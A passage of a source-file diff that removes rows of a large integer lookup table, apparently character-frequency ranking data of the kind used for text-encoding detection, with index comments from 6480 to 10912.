-6820,6821,6822,6823,6824,6825,6826,6827,6828,6829,6830,6831,6832,6833,6834,6835, # 6480 -3548,6836,6837,6838,6839,6840,6841,6842,6843,6844,6845,6846,4836,6847,6848,6849, # 6496 -6850,6851,6852,6853,6854,3953,6855,6856,6857,6858,6859,6860,6861,6862,6863,6864, # 6512 -6865,6866,6867,6868,6869,6870,6871,6872,6873,6874,6875,6876,6877,3199,6878,6879, # 6528 -6880,6881,6882,4447,6883,6884,6885,6886,6887,6888,6889,6890,6891,6892,6893,6894, # 6544 -6895,6896,6897,6898,6899,6900,6901,6902,6903,6904,4170,6905,6906,6907,6908,6909, # 6560 -6910,6911,6912,6913,6914,6915,6916,6917,6918,6919,6920,6921,6922,6923,6924,6925, # 6576 -6926,6927,4837,6928,6929,6930,6931,6932,6933,6934,6935,6936,3346,6937,6938,4838, # 6592 -6939,6940,6941,4448,6942,6943,6944,6945,6946,4449,6947,6948,6949,6950,6951,6952, # 6608 -6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966,6967,6968, # 6624 -6969,6970,6971,6972,6973,6974,6975,6976,6977,6978,6979,6980,6981,6982,6983,6984, # 6640 -6985,6986,6987,6988,6989,6990,6991,6992,6993,6994,3671,6995,6996,6997,6998,4839, # 6656 -6999,7000,7001,7002,3549,7003,7004,7005,7006,7007,7008,7009,7010,7011,7012,7013, # 6672 -7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027,7028,7029, # 6688 -7030,4840,7031,7032,7033,7034,7035,7036,7037,7038,4841,7039,7040,7041,7042,7043, # 6704 -7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058,7059, # 6720 -7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,2985,7071,7072,7073,7074, # 6736 -7075,7076,7077,7078,7079,7080,4842,7081,7082,7083,7084,7085,7086,7087,7088,7089, # 6752 -7090,7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105, # 6768 -7106,7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,4450,7119,7120, # 6784 -7121,7122,7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136, # 6800 -7137,7138,7139,7140,7141,7142,7143,4843,7144,7145,7146,7147,7148,7149,7150,7151, # 6816 -7152,7153,7154,7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167, # 6832 -7168,7169,7170,7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183, # 6848 -7184,7185,7186,7187,7188,4171,4172,7189,7190,7191,7192,7193,7194,7195,7196,7197, # 6864 -7198,7199,7200,7201,7202,7203,7204,7205,7206,7207,7208,7209,7210,7211,7212,7213, # 6880 -7214,7215,7216,7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229, # 6896 -7230,7231,7232,7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245, # 6912 -7246,7247,7248,7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261, # 6928 -7262,7263,7264,7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277, # 6944 -7278,7279,7280,7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293, # 6960 -7294,7295,7296,4844,7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308, # 6976 -7309,7310,7311,7312,7313,7314,7315,7316,4451,7317,7318,7319,7320,7321,7322,7323, # 6992 -7324,7325,7326,7327,7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339, # 7008 -7340,7341,7342,7343,7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,4173,7354, # 7024 -7355,4845,7356,7357,7358,7359,7360,7361,7362,7363,7364,7365,7366,7367,7368,7369, # 7040 -7370,7371,7372,7373,7374,7375,7376,7377,7378,7379,7380,7381,7382,7383,7384,7385, # 7056 -7386,7387,7388,4846,7389,7390,7391,7392,7393,7394,7395,7396,7397,7398,7399,7400, # 7072 -7401,7402,7403,7404,7405,3672,7406,7407,7408,7409,7410,7411,7412,7413,7414,7415, # 7088 -7416,7417,7418,7419,7420,7421,7422,7423,7424,7425,7426,7427,7428,7429,7430,7431, # 7104 -7432,7433,7434,7435,7436,7437,7438,7439,7440,7441,7442,7443,7444,7445,7446,7447, # 7120 -7448,7449,7450,7451,7452,7453,4452,7454,3200,7455,7456,7457,7458,7459,7460,7461, # 7136 -7462,7463,7464,7465,7466,7467,7468,7469,7470,7471,7472,7473,7474,4847,7475,7476, # 7152 -7477,3133,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487,7488,7489,7490,7491, # 7168 -7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,3347,7503,7504,7505,7506, # 7184 -7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519,7520,7521,4848, # 7200 -7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535,7536,7537, # 7216 -7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,3801,4849,7550,7551, # 7232 -7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, # 7248 -7568,7569,3035,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582, # 7264 -7583,7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598, # 7280 -7599,7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614, # 7296 -7615,7616,4850,7617,7618,3802,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628, # 7312 -7629,7630,7631,7632,4851,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643, # 7328 -7644,7645,7646,7647,7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659, # 7344 -7660,7661,7662,7663,7664,7665,7666,7667,7668,7669,7670,4453,7671,7672,7673,7674, # 7360 -7675,7676,7677,7678,7679,7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690, # 7376 -7691,7692,7693,7694,7695,7696,7697,3443,7698,7699,7700,7701,7702,4454,7703,7704, # 7392 -7705,7706,7707,7708,7709,7710,7711,7712,7713,2472,7714,7715,7716,7717,7718,7719, # 7408 -7720,7721,7722,7723,7724,7725,7726,7727,7728,7729,7730,7731,3954,7732,7733,7734, # 7424 -7735,7736,7737,7738,7739,7740,7741,7742,7743,7744,7745,7746,7747,7748,7749,7750, # 7440 -3134,7751,7752,4852,7753,7754,7755,4853,7756,7757,7758,7759,7760,4174,7761,7762, # 7456 -7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,7777,7778, # 7472 -7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791,7792,7793,7794, # 7488 -7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,4854,7806,7807,7808,7809, # 7504 -7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824,7825, # 7520 -4855,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7536 -7841,7842,7843,7844,7845,7846,7847,3955,7848,7849,7850,7851,7852,7853,7854,7855, # 7552 -7856,7857,7858,7859,7860,3444,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870, # 7568 -7871,7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886, # 7584 -7887,7888,7889,7890,7891,4175,7892,7893,7894,7895,7896,4856,4857,7897,7898,7899, # 7600 -7900,2598,7901,7902,7903,7904,7905,7906,7907,7908,4455,7909,7910,7911,7912,7913, # 7616 -7914,3201,7915,7916,7917,7918,7919,7920,7921,4858,7922,7923,7924,7925,7926,7927, # 7632 -7928,7929,7930,7931,7932,7933,7934,7935,7936,7937,7938,7939,7940,7941,7942,7943, # 7648 -7944,7945,7946,7947,7948,7949,7950,7951,7952,7953,7954,7955,7956,7957,7958,7959, # 7664 -7960,7961,7962,7963,7964,7965,7966,7967,7968,7969,7970,7971,7972,7973,7974,7975, # 7680 -7976,7977,7978,7979,7980,7981,4859,7982,7983,7984,7985,7986,7987,7988,7989,7990, # 7696 -7991,7992,7993,7994,7995,7996,4860,7997,7998,7999,8000,8001,8002,8003,8004,8005, # 7712 -8006,8007,8008,8009,8010,8011,8012,8013,8014,8015,8016,4176,8017,8018,8019,8020, # 7728 -8021,8022,8023,4861,8024,8025,8026,8027,8028,8029,8030,8031,8032,8033,8034,8035, # 7744 -8036,4862,4456,8037,8038,8039,8040,4863,8041,8042,8043,8044,8045,8046,8047,8048, # 7760 -8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063,8064, # 7776 -8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079,8080, # 7792 -8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096, # 7808 -8097,8098,8099,4864,4177,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110, # 7824 -8111,8112,8113,8114,8115,8116,8117,8118,8119,8120,4178,8121,8122,8123,8124,8125, # 7840 -8126,8127,8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141, # 7856 -8142,8143,8144,8145,4865,4866,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155, # 7872 -8156,8157,8158,8159,8160,8161,8162,8163,8164,8165,4179,8166,8167,8168,8169,8170, # 7888 -8171,8172,8173,8174,8175,8176,8177,8178,8179,8180,8181,4457,8182,8183,8184,8185, # 7904 -8186,8187,8188,8189,8190,8191,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201, # 7920 -8202,8203,8204,8205,8206,8207,8208,8209,8210,8211,8212,8213,8214,8215,8216,8217, # 7936 -8218,8219,8220,8221,8222,8223,8224,8225,8226,8227,8228,8229,8230,8231,8232,8233, # 7952 -8234,8235,8236,8237,8238,8239,8240,8241,8242,8243,8244,8245,8246,8247,8248,8249, # 7968 -8250,8251,8252,8253,8254,8255,8256,3445,8257,8258,8259,8260,8261,8262,4458,8263, # 7984 -8264,8265,8266,8267,8268,8269,8270,8271,8272,4459,8273,8274,8275,8276,3550,8277, # 8000 -8278,8279,8280,8281,8282,8283,8284,8285,8286,8287,8288,8289,4460,8290,8291,8292, # 8016 -8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303,8304,8305,8306,8307,4867, # 8032 -8308,8309,8310,8311,8312,3551,8313,8314,8315,8316,8317,8318,8319,8320,8321,8322, # 8048 -8323,8324,8325,8326,4868,8327,8328,8329,8330,8331,8332,8333,8334,8335,8336,8337, # 8064 -8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351,8352,8353, # 8080 -8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,4869,4461,8364,8365,8366,8367, # 8096 -8368,8369,8370,4870,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382, # 8112 -8383,8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398, # 8128 -8399,8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,4871,8411,8412,8413, # 8144 -8414,8415,8416,8417,8418,8419,8420,8421,8422,4462,8423,8424,8425,8426,8427,8428, # 8160 -8429,8430,8431,8432,8433,2986,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443, # 8176 -8444,8445,8446,8447,8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459, # 8192 -8460,8461,8462,8463,8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475, # 8208 -8476,8477,8478,4180,8479,8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490, # 8224 -8491,8492,8493,8494,8495,8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506, # 8240 -8507,8508,8509,8510,8511,8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522, # 8256 -8523,8524,8525,8526,8527,8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538, # 8272 -8539,8540,8541,8542,8543,8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554, # 8288 -8555,8556,8557,8558,8559,8560,8561,8562,8563,8564,4872,8565,8566,8567,8568,8569, # 8304 -8570,8571,8572,8573,4873,8574,8575,8576,8577,8578,8579,8580,8581,8582,8583,8584, # 8320 -8585,8586,8587,8588,8589,8590,8591,8592,8593,8594,8595,8596,8597,8598,8599,8600, # 8336 -8601,8602,8603,8604,8605,3803,8606,8607,8608,8609,8610,8611,8612,8613,4874,3804, # 8352 -8614,8615,8616,8617,8618,8619,8620,8621,3956,8622,8623,8624,8625,8626,8627,8628, # 8368 -8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,2865,8639,8640,8641,8642,8643, # 8384 -8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655,8656,4463,8657,8658, # 8400 -8659,4875,4876,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671,8672, # 8416 -8673,8674,8675,8676,8677,8678,8679,8680,8681,4464,8682,8683,8684,8685,8686,8687, # 8432 -8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, # 8448 -8704,8705,8706,8707,8708,8709,2261,8710,8711,8712,8713,8714,8715,8716,8717,8718, # 8464 -8719,8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,4181, # 8480 -8734,8735,8736,8737,8738,8739,8740,8741,8742,8743,8744,8745,8746,8747,8748,8749, # 8496 -8750,8751,8752,8753,8754,8755,8756,8757,8758,8759,8760,8761,8762,8763,4877,8764, # 8512 -8765,8766,8767,8768,8769,8770,8771,8772,8773,8774,8775,8776,8777,8778,8779,8780, # 8528 -8781,8782,8783,8784,8785,8786,8787,8788,4878,8789,4879,8790,8791,8792,4880,8793, # 8544 -8794,8795,8796,8797,8798,8799,8800,8801,4881,8802,8803,8804,8805,8806,8807,8808, # 8560 -8809,8810,8811,8812,8813,8814,8815,3957,8816,8817,8818,8819,8820,8821,8822,8823, # 8576 -8824,8825,8826,8827,8828,8829,8830,8831,8832,8833,8834,8835,8836,8837,8838,8839, # 8592 -8840,8841,8842,8843,8844,8845,8846,8847,4882,8848,8849,8850,8851,8852,8853,8854, # 8608 -8855,8856,8857,8858,8859,8860,8861,8862,8863,8864,8865,8866,8867,8868,8869,8870, # 8624 -8871,8872,8873,8874,8875,8876,8877,8878,8879,8880,8881,8882,8883,8884,3202,8885, # 8640 -8886,8887,8888,8889,8890,8891,8892,8893,8894,8895,8896,8897,8898,8899,8900,8901, # 8656 -8902,8903,8904,8905,8906,8907,8908,8909,8910,8911,8912,8913,8914,8915,8916,8917, # 8672 -8918,8919,8920,8921,8922,8923,8924,4465,8925,8926,8927,8928,8929,8930,8931,8932, # 8688 -4883,8933,8934,8935,8936,8937,8938,8939,8940,8941,8942,8943,2214,8944,8945,8946, # 8704 -8947,8948,8949,8950,8951,8952,8953,8954,8955,8956,8957,8958,8959,8960,8961,8962, # 8720 -8963,8964,8965,4884,8966,8967,8968,8969,8970,8971,8972,8973,8974,8975,8976,8977, # 8736 -8978,8979,8980,8981,8982,8983,8984,8985,8986,8987,8988,8989,8990,8991,8992,4885, # 8752 -8993,8994,8995,8996,8997,8998,8999,9000,9001,9002,9003,9004,9005,9006,9007,9008, # 8768 -9009,9010,9011,9012,9013,9014,9015,9016,9017,9018,9019,9020,9021,4182,9022,9023, # 8784 -9024,9025,9026,9027,9028,9029,9030,9031,9032,9033,9034,9035,9036,9037,9038,9039, # 8800 -9040,9041,9042,9043,9044,9045,9046,9047,9048,9049,9050,9051,9052,9053,9054,9055, # 8816 -9056,9057,9058,9059,9060,9061,9062,9063,4886,9064,9065,9066,9067,9068,9069,4887, # 8832 -9070,9071,9072,9073,9074,9075,9076,9077,9078,9079,9080,9081,9082,9083,9084,9085, # 8848 -9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9101, # 8864 -9102,9103,9104,9105,9106,9107,9108,9109,9110,9111,9112,9113,9114,9115,9116,9117, # 8880 -9118,9119,9120,9121,9122,9123,9124,9125,9126,9127,9128,9129,9130,9131,9132,9133, # 8896 -9134,9135,9136,9137,9138,9139,9140,9141,3958,9142,9143,9144,9145,9146,9147,9148, # 8912 -9149,9150,9151,4888,9152,9153,9154,9155,9156,9157,9158,9159,9160,9161,9162,9163, # 8928 -9164,9165,9166,9167,9168,9169,9170,9171,9172,9173,9174,9175,4889,9176,9177,9178, # 8944 -9179,9180,9181,9182,9183,9184,9185,9186,9187,9188,9189,9190,9191,9192,9193,9194, # 8960 -9195,9196,9197,9198,9199,9200,9201,9202,9203,4890,9204,9205,9206,9207,9208,9209, # 8976 -9210,9211,9212,9213,9214,9215,9216,9217,9218,9219,9220,9221,9222,4466,9223,9224, # 8992 -9225,9226,9227,9228,9229,9230,9231,9232,9233,9234,9235,9236,9237,9238,9239,9240, # 9008 -9241,9242,9243,9244,9245,4891,9246,9247,9248,9249,9250,9251,9252,9253,9254,9255, # 9024 -9256,9257,4892,9258,9259,9260,9261,4893,4894,9262,9263,9264,9265,9266,9267,9268, # 9040 -9269,9270,9271,9272,9273,4467,9274,9275,9276,9277,9278,9279,9280,9281,9282,9283, # 9056 -9284,9285,3673,9286,9287,9288,9289,9290,9291,9292,9293,9294,9295,9296,9297,9298, # 9072 -9299,9300,9301,9302,9303,9304,9305,9306,9307,9308,9309,9310,9311,9312,9313,9314, # 9088 -9315,9316,9317,9318,9319,9320,9321,9322,4895,9323,9324,9325,9326,9327,9328,9329, # 9104 -9330,9331,9332,9333,9334,9335,9336,9337,9338,9339,9340,9341,9342,9343,9344,9345, # 9120 -9346,9347,4468,9348,9349,9350,9351,9352,9353,9354,9355,9356,9357,9358,9359,9360, # 9136 -9361,9362,9363,9364,9365,9366,9367,9368,9369,9370,9371,9372,9373,4896,9374,4469, # 9152 -9375,9376,9377,9378,9379,4897,9380,9381,9382,9383,9384,9385,9386,9387,9388,9389, # 9168 -9390,9391,9392,9393,9394,9395,9396,9397,9398,9399,9400,9401,9402,9403,9404,9405, # 9184 -9406,4470,9407,2751,9408,9409,3674,3552,9410,9411,9412,9413,9414,9415,9416,9417, # 9200 -9418,9419,9420,9421,4898,9422,9423,9424,9425,9426,9427,9428,9429,3959,9430,9431, # 9216 -9432,9433,9434,9435,9436,4471,9437,9438,9439,9440,9441,9442,9443,9444,9445,9446, # 9232 -9447,9448,9449,9450,3348,9451,9452,9453,9454,9455,9456,9457,9458,9459,9460,9461, # 9248 -9462,9463,9464,9465,9466,9467,9468,9469,9470,9471,9472,4899,9473,9474,9475,9476, # 9264 -9477,4900,9478,9479,9480,9481,9482,9483,9484,9485,9486,9487,9488,3349,9489,9490, # 9280 -9491,9492,9493,9494,9495,9496,9497,9498,9499,9500,9501,9502,9503,9504,9505,9506, # 9296 -9507,9508,9509,9510,9511,9512,9513,9514,9515,9516,9517,9518,9519,9520,4901,9521, # 9312 -9522,9523,9524,9525,9526,4902,9527,9528,9529,9530,9531,9532,9533,9534,9535,9536, # 9328 -9537,9538,9539,9540,9541,9542,9543,9544,9545,9546,9547,9548,9549,9550,9551,9552, # 9344 -9553,9554,9555,9556,9557,9558,9559,9560,9561,9562,9563,9564,9565,9566,9567,9568, # 9360 -9569,9570,9571,9572,9573,9574,9575,9576,9577,9578,9579,9580,9581,9582,9583,9584, # 9376 -3805,9585,9586,9587,9588,9589,9590,9591,9592,9593,9594,9595,9596,9597,9598,9599, # 9392 -9600,9601,9602,4903,9603,9604,9605,9606,9607,4904,9608,9609,9610,9611,9612,9613, # 9408 -9614,4905,9615,9616,9617,9618,9619,9620,9621,9622,9623,9624,9625,9626,9627,9628, # 9424 -9629,9630,9631,9632,4906,9633,9634,9635,9636,9637,9638,9639,9640,9641,9642,9643, # 9440 -4907,9644,9645,9646,9647,9648,9649,9650,9651,9652,9653,9654,9655,9656,9657,9658, # 9456 -9659,9660,9661,9662,9663,9664,9665,9666,9667,9668,9669,9670,9671,9672,4183,9673, # 9472 -9674,9675,9676,9677,4908,9678,9679,9680,9681,4909,9682,9683,9684,9685,9686,9687, # 9488 -9688,9689,9690,4910,9691,9692,9693,3675,9694,9695,9696,2945,9697,9698,9699,9700, # 9504 -9701,9702,9703,9704,9705,4911,9706,9707,9708,9709,9710,9711,9712,9713,9714,9715, # 9520 -9716,9717,9718,9719,9720,9721,9722,9723,9724,9725,9726,9727,9728,9729,9730,9731, # 9536 -9732,9733,9734,9735,4912,9736,9737,9738,9739,9740,4913,9741,9742,9743,9744,9745, # 9552 -9746,9747,9748,9749,9750,9751,9752,9753,9754,9755,9756,9757,9758,4914,9759,9760, # 9568 -9761,9762,9763,9764,9765,9766,9767,9768,9769,9770,9771,9772,9773,9774,9775,9776, # 9584 -9777,9778,9779,9780,9781,9782,4915,9783,9784,9785,9786,9787,9788,9789,9790,9791, # 9600 -9792,9793,4916,9794,9795,9796,9797,9798,9799,9800,9801,9802,9803,9804,9805,9806, # 9616 -9807,9808,9809,9810,9811,9812,9813,9814,9815,9816,9817,9818,9819,9820,9821,9822, # 9632 -9823,9824,9825,9826,9827,9828,9829,9830,9831,9832,9833,9834,9835,9836,9837,9838, # 9648 -9839,9840,9841,9842,9843,9844,9845,9846,9847,9848,9849,9850,9851,9852,9853,9854, # 9664 -9855,9856,9857,9858,9859,9860,9861,9862,9863,9864,9865,9866,9867,9868,4917,9869, # 9680 -9870,9871,9872,9873,9874,9875,9876,9877,9878,9879,9880,9881,9882,9883,9884,9885, # 9696 -9886,9887,9888,9889,9890,9891,9892,4472,9893,9894,9895,9896,9897,3806,9898,9899, # 9712 -9900,9901,9902,9903,9904,9905,9906,9907,9908,9909,9910,9911,9912,9913,9914,4918, # 9728 -9915,9916,9917,4919,9918,9919,9920,9921,4184,9922,9923,9924,9925,9926,9927,9928, # 9744 -9929,9930,9931,9932,9933,9934,9935,9936,9937,9938,9939,9940,9941,9942,9943,9944, # 9760 -9945,9946,4920,9947,9948,9949,9950,9951,9952,9953,9954,9955,4185,9956,9957,9958, # 9776 -9959,9960,9961,9962,9963,9964,9965,4921,9966,9967,9968,4473,9969,9970,9971,9972, # 9792 -9973,9974,9975,9976,9977,4474,9978,9979,9980,9981,9982,9983,9984,9985,9986,9987, # 9808 -9988,9989,9990,9991,9992,9993,9994,9995,9996,9997,9998,9999,10000,10001,10002,10003, # 9824 -10004,10005,10006,10007,10008,10009,10010,10011,10012,10013,10014,10015,10016,10017,10018,10019, # 9840 -10020,10021,4922,10022,4923,10023,10024,10025,10026,10027,10028,10029,10030,10031,10032,10033, # 9856 -10034,10035,10036,10037,10038,10039,10040,10041,10042,10043,10044,10045,10046,10047,10048,4924, # 9872 -10049,10050,10051,10052,10053,10054,10055,10056,10057,10058,10059,10060,10061,10062,10063,10064, # 9888 -10065,10066,10067,10068,10069,10070,10071,10072,10073,10074,10075,10076,10077,10078,10079,10080, # 9904 -10081,10082,10083,10084,10085,10086,10087,4475,10088,10089,10090,10091,10092,10093,10094,10095, # 9920 -10096,10097,4476,10098,10099,10100,10101,10102,10103,10104,10105,10106,10107,10108,10109,10110, # 9936 -10111,2174,10112,10113,10114,10115,10116,10117,10118,10119,10120,10121,10122,10123,10124,10125, # 9952 -10126,10127,10128,10129,10130,10131,10132,10133,10134,10135,10136,10137,10138,10139,10140,3807, # 9968 -4186,4925,10141,10142,10143,10144,10145,10146,10147,4477,4187,10148,10149,10150,10151,10152, # 9984 -10153,4188,10154,10155,10156,10157,10158,10159,10160,10161,4926,10162,10163,10164,10165,10166, #10000 -10167,10168,10169,10170,10171,10172,10173,10174,10175,10176,10177,10178,10179,10180,10181,10182, #10016 -10183,10184,10185,10186,10187,10188,10189,10190,10191,10192,3203,10193,10194,10195,10196,10197, #10032 -10198,10199,10200,4478,10201,10202,10203,10204,4479,10205,10206,10207,10208,10209,10210,10211, #10048 -10212,10213,10214,10215,10216,10217,10218,10219,10220,10221,10222,10223,10224,10225,10226,10227, #10064 -10228,10229,10230,10231,10232,10233,10234,4927,10235,10236,10237,10238,10239,10240,10241,10242, #10080 -10243,10244,10245,10246,10247,10248,10249,10250,10251,10252,10253,10254,10255,10256,10257,10258, #10096 -10259,10260,10261,10262,10263,10264,10265,10266,10267,10268,10269,10270,10271,10272,10273,4480, #10112 -4928,4929,10274,10275,10276,10277,10278,10279,10280,10281,10282,10283,10284,10285,10286,10287, #10128 -10288,10289,10290,10291,10292,10293,10294,10295,10296,10297,10298,10299,10300,10301,10302,10303, #10144 -10304,10305,10306,10307,10308,10309,10310,10311,10312,10313,10314,10315,10316,10317,10318,10319, #10160 -10320,10321,10322,10323,10324,10325,10326,10327,10328,10329,10330,10331,10332,10333,10334,4930, #10176 -10335,10336,10337,10338,10339,10340,10341,10342,4931,10343,10344,10345,10346,10347,10348,10349, #10192 -10350,10351,10352,10353,10354,10355,3088,10356,2786,10357,10358,10359,10360,4189,10361,10362, #10208 -10363,10364,10365,10366,10367,10368,10369,10370,10371,10372,10373,10374,10375,4932,10376,10377, #10224 -10378,10379,10380,10381,10382,10383,10384,10385,10386,10387,10388,10389,10390,10391,10392,4933, #10240 -10393,10394,10395,4934,10396,10397,10398,10399,10400,10401,10402,10403,10404,10405,10406,10407, #10256 -10408,10409,10410,10411,10412,3446,10413,10414,10415,10416,10417,10418,10419,10420,10421,10422, #10272 -10423,4935,10424,10425,10426,10427,10428,10429,10430,4936,10431,10432,10433,10434,10435,10436, #10288 -10437,10438,10439,10440,10441,10442,10443,4937,10444,10445,10446,10447,4481,10448,10449,10450, #10304 -10451,10452,10453,10454,10455,10456,10457,10458,10459,10460,10461,10462,10463,10464,10465,10466, #10320 -10467,10468,10469,10470,10471,10472,10473,10474,10475,10476,10477,10478,10479,10480,10481,10482, #10336 -10483,10484,10485,10486,10487,10488,10489,10490,10491,10492,10493,10494,10495,10496,10497,10498, #10352 -10499,10500,10501,10502,10503,10504,10505,4938,10506,10507,10508,10509,10510,2552,10511,10512, #10368 -10513,10514,10515,10516,3447,10517,10518,10519,10520,10521,10522,10523,10524,10525,10526,10527, #10384 -10528,10529,10530,10531,10532,10533,10534,10535,10536,10537,10538,10539,10540,10541,10542,10543, #10400 -4482,10544,4939,10545,10546,10547,10548,10549,10550,10551,10552,10553,10554,10555,10556,10557, #10416 -10558,10559,10560,10561,10562,10563,10564,10565,10566,10567,3676,4483,10568,10569,10570,10571, #10432 -10572,3448,10573,10574,10575,10576,10577,10578,10579,10580,10581,10582,10583,10584,10585,10586, #10448 -10587,10588,10589,10590,10591,10592,10593,10594,10595,10596,10597,10598,10599,10600,10601,10602, #10464 -10603,10604,10605,10606,10607,10608,10609,10610,10611,10612,10613,10614,10615,10616,10617,10618, #10480 -10619,10620,10621,10622,10623,10624,10625,10626,10627,4484,10628,10629,10630,10631,10632,4940, #10496 -10633,10634,10635,10636,10637,10638,10639,10640,10641,10642,10643,10644,10645,10646,10647,10648, #10512 -10649,10650,10651,10652,10653,10654,10655,10656,4941,10657,10658,10659,2599,10660,10661,10662, #10528 -10663,10664,10665,10666,3089,10667,10668,10669,10670,10671,10672,10673,10674,10675,10676,10677, #10544 -10678,10679,10680,4942,10681,10682,10683,10684,10685,10686,10687,10688,10689,10690,10691,10692, #10560 -10693,10694,10695,10696,10697,4485,10698,10699,10700,10701,10702,10703,10704,4943,10705,3677, #10576 -10706,10707,10708,10709,10710,10711,10712,4944,10713,10714,10715,10716,10717,10718,10719,10720, #10592 -10721,10722,10723,10724,10725,10726,10727,10728,4945,10729,10730,10731,10732,10733,10734,10735, #10608 -10736,10737,10738,10739,10740,10741,10742,10743,10744,10745,10746,10747,10748,10749,10750,10751, #10624 -10752,10753,10754,10755,10756,10757,10758,10759,10760,10761,4946,10762,10763,10764,10765,10766, #10640 -10767,4947,4948,10768,10769,10770,10771,10772,10773,10774,10775,10776,10777,10778,10779,10780, #10656 -10781,10782,10783,10784,10785,10786,10787,10788,10789,10790,10791,10792,10793,10794,10795,10796, #10672 -10797,10798,10799,10800,10801,10802,10803,10804,10805,10806,10807,10808,10809,10810,10811,10812, #10688 -10813,10814,10815,10816,10817,10818,10819,10820,10821,10822,10823,10824,10825,10826,10827,10828, #10704 -10829,10830,10831,10832,10833,10834,10835,10836,10837,10838,10839,10840,10841,10842,10843,10844, #10720 -10845,10846,10847,10848,10849,10850,10851,10852,10853,10854,10855,10856,10857,10858,10859,10860, #10736 -10861,10862,10863,10864,10865,10866,10867,10868,10869,10870,10871,10872,10873,10874,10875,10876, #10752 -10877,10878,4486,10879,10880,10881,10882,10883,10884,10885,4949,10886,10887,10888,10889,10890, #10768 -10891,10892,10893,10894,10895,10896,10897,10898,10899,10900,10901,10902,10903,10904,10905,10906, #10784 -10907,10908,10909,10910,10911,10912,10913,10914,10915,10916,10917,10918,10919,4487,10920,10921, #10800 -10922,10923,10924,10925,10926,10927,10928,10929,10930,10931,10932,4950,10933,10934,10935,10936, #10816 -10937,10938,10939,10940,10941,10942,10943,10944,10945,10946,10947,10948,10949,4488,10950,10951, #10832 -10952,10953,10954,10955,10956,10957,10958,10959,4190,10960,10961,10962,10963,10964,10965,10966, #10848 -10967,10968,10969,10970,10971,10972,10973,10974,10975,10976,10977,10978,10979,10980,10981,10982, #10864 -10983,10984,10985,10986,10987,10988,10989,10990,10991,10992,10993,10994,10995,10996,10997,10998, #10880 -10999,11000,11001,11002,11003,11004,11005,11006,3960,11007,11008,11009,11010,11011,11012,11013, #10896 -11014,11015,11016,11017,11018,11019,11020,11021,11022,11023,11024,11025,11026,11027,11028,11029, #10912 